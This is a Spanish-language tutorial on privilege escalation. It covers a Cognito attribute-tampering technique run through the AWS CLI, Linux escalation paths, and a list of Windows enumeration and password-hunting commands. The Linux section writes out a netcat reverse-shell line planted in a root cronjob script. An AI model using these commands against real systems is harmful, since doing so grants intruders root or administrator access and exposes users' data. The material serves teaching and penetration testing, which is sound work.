Una de las preguntas más importantes es, ¿qué es exactamente el Escalamiento de Privilegios? Es una situación que ocurre cuando un usuario malicioso explota una vulnerabilidad. Esta puede consistir en un bug o un fallo en el diseño de la aplicación.
También puede tratarse de cierto error de configuración de la aplicación o del sistema operativo en el cual está operando el usuario. Básicamente, lo que sucede es que el usuario malicioso termina obteniendo acceso privilegiado a recursos que, de acuerdo a sus permisos por defecto, no debería tenerlos. Dichos privilegios de acceso le darán la posibilidad de robar datos confidenciales o de carácter sensible, ejecutar comandos con permisos de administrador. O peor aún, puede arrojar malware o ransomware, lo cual dañaría tu sistema operativo en gran medida.
Especialmente, en una organización, esto puede afectar en gran medida la reputación de la misma. Esto es así ya que tanto las personas que trabajan de ella como las que no, pueden tener una percepción negativa sobre las medidas de seguridad informática que se aplican en ella. De acuerdo a lo que comentamos anteriormente, la escalación de privilegios acostumbra a ser la puerta de entrada a ataques mucho más específicos y, por ende, más severos. Uno de los aspectos más preocupantes es que estas escaladas maliciosas pueden confundirse con facilidad con las actividades diarias que se registran en la organización.
Los cibercriminales, empiezan con la explotación de alguna vulnerabilidad que permita ejecutar dicha escalada, ya sea en un sistema o aplicación. Pueden acceder tanto a datos como funcionalidades de otro usuario con mayor cantidad de privilegios (esto es el Escalamiento Horizontal de Privilegios) o bien, obtener privilegios elevados. Tales privilegios elevados generalmente provienen de usuarios administradores o los conocidos como "power user". A esto último se lo conoce como Escalamiento Vertical de Privilegios.
Para comprender mejor ambos tipos de escaladas, tanto la horizontal como la vertical, haremos algunas distinciones:
Escalamiento Horizontal: Es la capacidad de realizar una o más acciones similares a los permisos y accesos que tiene una cuenta con bajos privilegios. En la imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario atacante puede también leer las citas médicas gestionadas por otros usuarios del sistema evaluado. el usuario malicioso mantiene sus privilegios de bajo nivel actuales.
Sin embargo, consigue tener acceso a datos y funcionalidades que no deberían estar disponibles para este. Los mismos pueden pertenecer a otros usuarios con mayores privilegios o procesos de sistema. Un ejemplo que se puede citar es el acceso a perfiles de usuarios ajenos al tuyo, aunque estés dentro de tu propia sesión. Esto puede aplicarse a redes sociales o plataformas de compras, bancos, etc.
Implica obtener acceso a otra cuenta, humana o máquina, con privilegios similares. Generalmente conocido como apropiación de cuenta, esto explora la falta de protección adecuada en dicha cuenta. Es importante para un atacante porque aumenta la superficie de ataque y tal vez esta cuenta tenga acceso a algo que tenga una vulnerabilidad que permita una escalada vertical de privilegios.
Escalamiento Vertical: Es la capacidad de realizar una o más acciones diferentes a los permisos y accesos que tiene una cuenta con altos privilegios. En la imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario atacante puede inicialmente leer las citas médicas, pero adicionalmente ahora tiene la capacidad de editar, eliminar y crear usuarios del sistema de citas médicas.
En este caso, el usuario malicioso que tiene una cuenta de usuario con privilegios bajos, pasa a tener mayor cantidad de privilegios como si fuese un usuario administrador de Windows, por ejemplo. Aunque el Escalamiento de Privilegios puede ocurrir en cualquiera de los otros sistemas operativos que conocemos. A partir de este momento, el usuario malicioso puede tener completo control sobre las credenciales de otros usuarios, datos importantes, procesos, aplicaciones y más.
Podrá descargar malware, borrar datos o bien, ejecutar código malicioso para llevar a cabo ataques aún más severos. La peor parte es que el cibercriminal puede borrar cualquier rastro del ataque que haya llevado a cabo mediante esta escalada de privilegios, de manera a que no sea posible localizar algún tipo de evidencia que permita el análisis de estos eventos.
Implica obtener acceso a una cuenta que tiene mayores privilegios, por ejemplo, de un usuario normal que obtiene derechos de root. Esto puede resultar complejo porque es posible que se necesitan varios pasos y condiciones para omitir o anular los controles.
Amazon Cognito es un proveedor de autenticación completamente administrado que permite el registro, la verificación, el inicio de sesión del usuario y más. Posterior al ingresar nuestras credenciales en un entorno en donde se encuentra funcionando AWS cognito se mostrará una solicitud y respuesta similar a la siguiente forma:
En el cuerpo de la solicitud se puede visualizar un parámetro de nombre “AccesToken” en algunos casos este nombre puede variar, este parámetro contiene un token JWT el cual al ser enviado al servidor este responde con información relacionada a la cuenta como el parámetro custom:profile y custom:registerType.
La información mostrada anteriormente puede ser consumida directamente desde la interfaz de línea de comandos (cli) de AWS, como condición es importante contar con el valor del parámetro “AccesToken” el cual será utilizado por la opción “—acces-token” en el cli de AWS. A continuación, se describe la línea de comando utilizada:
1aws –no-verify-ssl cognito-idp get-user –region us-east-1 –acces-token “valor del parámetro AccesToken”
Finalmente, para concretar la técnica intentaremos editar el valor de los atributos custom:profile y custom:registerType de cliente a administrador, ejecutando las siguientes líneas de comando:
1aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:profile, Value=administrador1. aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:registerType, Value=administrador
1aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:registerType, Value=administrador
Ejecutando los pasos descritos se puede verificar que efectivamente utilizando está técnica es posible escalar privilegios de manera vertical, es decir, en nuestra imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario que inicialmente podía leer citas médicas ahora también tiene la capacidad de editar, eliminar y crear usuarios del sistema.
https://docs.aws.amazon.com/es_es/AWSEC2/latest/UserGuide/using-regions-availability-zones.html
https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html
Los servidores son mayormente Linux, pero también hay server con Windows veamos alguna técnicas de escala de privilegios.
Sudo es un software que permite al administrador del sistema brindar a ciertos usuarios (o grupos de usuarios) la capacidad de ejecutar algunos (o todos) los comandos como root mientras registra todos los comandos y argumentos. Entonces, cuando un usuario quiere ejecutar algún comando con permisos de root, generalmente lo hace. Lo primero que debe hacer un usuario al acceder a una máquina es precisamente ver qué versión de Sudo existe (si existe) con el comando sudo --version
.
Esta es actualmente la última versión de sudo por lo que no debería tener ninguna vulnerabilidad, o mejor dicho, no debería tener ninguna vulnerabilidad conocida. Un vector de ataque típico en la escalada de privilegios son los programas obsoletos y, en este caso, existe un exploit conocido para la versión sudo ≤1.8.14 que permite a cualquier usuario obtener acceso root (CVE-2015–6502).
Aún en Sudo, siempre se debe ejecutar el comando sudo -l donde se pueda ver qué comandos puede usar un usuario con privilegios en el host. Aún así, para ejecutar dicho comando como root el atacante debe conocer la contraseña del usuario.
En este ejemplo, al ejecutar sudo -l sabemos que el usuario puede ejecutar el comando sudoedit en el archivo /home///test.sh como root.
Esto sucede cuando el usuario puede escribir en /etc/passwd o /etc/shadow. Estos archivos son donde en el sistema se guardan todos los usuarios que tienen acceso al sistema y los hash de contraseña de los usuarios, respectivamente.
La imagen de arriba muestra los permisos correctos que debe tener el archivo; solo el usuario root debe poder escribirlo. Si cualquier usuario pudiera escribir en él, un atacante podría crear una entrada que diga que cierto usuario tiene privilegios de root.
Para profundizar un poco más en cómo sucede esto, primero debemos saber un poco cómo se completa ese archivo. Esta es una línea normal en el archivo:
1test:x:0:0:root:/root:/bin/bash
Ahora veamos la prueba de concepto de la vulnerabilidad. Para recordar, lo que queremos hacer es, si podemos escribir en /etc/passwd, crear un hash de contraseña, hacer una entrada en el archivo con el hash que creamos en la contraseña, iniciar sesión como ese usuario con acceso root.
Los cronjobs son procesos que el sistema ejecuta automáticamente con una cierta periodicidad. A veces, estos ejecutan un determinado archivo bash como root y también ejecutan un determinado conjunto de comandos como root. Si identificamos un cronjob que ejecuta un archivo que también podemos escribir… Verás hacia dónde va esto.
Para ver qué cronjobs se están ejecutando, simplemente ejecute el comando cat/etc/crontab. Si esto no devuelve nada útil podemos ejecutar un programa llamado pspy64 (https://github.com/DominicBreuker/pspy) que nos muestra todos los procesos en ejecución en el sistema.
En este ejemplo, encontramos que cierto archivo (cleanall.sh) se ejecuta como root y podemos escribir en él. Así que intentamos que ejecute un shell inverso de netcat en nuestra máquina y, si la conexión es exitosa, obtenemos acceso root a la máquina.
1nc -lnvp <port>
1echo "nc -e /bin/bash <our_ip> <port> > cleanall.sh.
Cuando esto se ejecuta, tenemos nuestro shell raíz.
Esto es un poco más complicado, por lo que hay algunos conceptos teóricos de los que se debe hablar. Todo en Linux es un archivo con permisos.
Este archivo tiene todos los permisos y podemos configurarlo con el comando chmod 777. Te preguntarás por qué 777, bueno, se trata de bits. Si piensa en estos permisos como bits 7, es la combinación de 4 (lectura), 2 (escritura) y 1 (ejecución). Entonces chmod 600 corresponde a rw -— — y chmod 764 corresponde a rwx-rw-r. Un SUID es un tipo de permiso de usuario que permite a los usuarios ejecutar un archivo con los permisos de un usuario específico. Aquellos archivos que tienen permisos SUID se ejecutan con privilegios más altos.
Bueno, ahora, ¿cómo los encontramos? Bueno, usando el siguiente comando. find / -perm -u=s -type f 2>/dev/null
Ahora cada comando que tiene un SUID tiene un método de exploración diferente, por lo que no puedo ponerlos todos aquí. Pero hay muchos exploits en el increíble sitio web https://gtfobins.github.io/ .
LinPEAS es un script que busca automáticamente posibles rutas para escalar privilegios. El objetivo es descargar el script en la máquina de destino, otorgarle los permisos y ejecutarlo. Podemos obtener el script en https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS .
1systeminfo 2 3systeminfo | findstr /B /C: "os name" /C: "os version" /C: "system type"
Hostname
wmic qfe
wmic
= Línea de comandos de Instrumentación de Windowsqfe
= Ingeniero de correcciones rápidaswmic logicaldisk
wmic logicaldisk get caption,description,providername
Enumeración de usuarios
whoami /priv
whoami /groups
net user
net user user1
net local group user1
ipconfig
ipconfig /all
arp -a
route print
netstat -ano
¿A quién nos comunicamos, etc.?
Búsqueda de contraseñas
Algunos archivos SAML almacenan hash de contraseñas en el sistema
unattend.xml
también puede almacenar contraseñas.
findstr /si password *.txt *.ini *.config
findstr /spin "password" *
Cortafuegos y antivirus
sc query windefend
sc
= service control
windefend
checks if Windows Defender is present or not.
Está funcionando
1sc queryex type= service
Muestra todos los servicios que se ejecutan en el sistema.
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config